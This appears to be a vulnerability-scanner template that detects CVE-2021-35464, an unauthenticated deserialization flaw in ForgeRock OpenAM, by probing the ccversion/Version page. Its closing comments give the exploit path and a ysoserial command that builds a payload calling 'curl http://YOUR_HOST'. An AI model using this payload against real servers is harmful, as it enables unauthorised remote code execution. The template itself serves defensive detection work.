id: CVE-2021-35464

info:
  name: "Openam - Insecure Deserialization"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on
    multiple pages. The exploitation does not require authentication, and remote code execution can be triggered
    by sending a single crafted /ccversion/* request to the server.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2021-35464&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=openam&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-35464
    cwe-id: CWE-502
  metadata:
    verified: false
  tags: cve,cve2021,packetstorm,openam,rce,java,kev,forgerock,vkev,vuln
http:
  - method: GET
    path:
      - '{{BaseURL}}/openam/oauth2/..;/ccversion/Version'

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Set-Cookie: JSESSIONID="

      - type: word
        part: body
        words:
          - "Version Information -"
          - "openam/ccversion/Masthead.jsp"
        condition: or

      - type: status
        status:
          - 200

# {{BaseURL}}/openam/oauth2/..;/ccversion/Version?jato.pageSession=<serialized_object>
# java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "curl http://YOUR_HOST" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='